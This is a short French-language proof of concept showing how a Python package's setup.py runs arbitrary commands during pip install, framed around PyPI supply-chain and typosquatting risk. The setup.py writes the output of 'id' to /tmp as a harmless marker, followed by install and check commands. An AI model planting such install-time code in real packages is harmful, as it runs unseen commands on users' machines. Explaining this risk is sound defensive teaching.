
Démontre comment un paquet Python malveillant exécute des commandes arbitraires lors de l'installation via pip install en utilisant setup.py, mettant en évidence les risques liés à la chaîne d'approvisionnement PyPI et au typosquatting.
# setup.py - Malicious package that executes during install
from setuptools import setup
import os
# This runs on pip install
os.system('id > /tmp/pwned_by_package')
setup(
name='harmless-pkg',
version='1.0',
packages=[],
)
Un paquet PyPI peut inclure du code arbitraire dans son setup.py, qui est exécuté lors du pip install. Un attaquant peut publier un paquet dont le nom ressemble à celui d'un paquet populaire (typosquatting) et, lors de l'installation, la charge utile s'exécute avec les privilèges de l'utilisateur, conduisant à une exécution de code à distance.
setup.py sans bac à sable, ce qui donne aux paquets un accès complet.setup.py fourni.pip install ./harmless-pkg
cat /tmp/pwned_by_package
La commande id a été exécutée.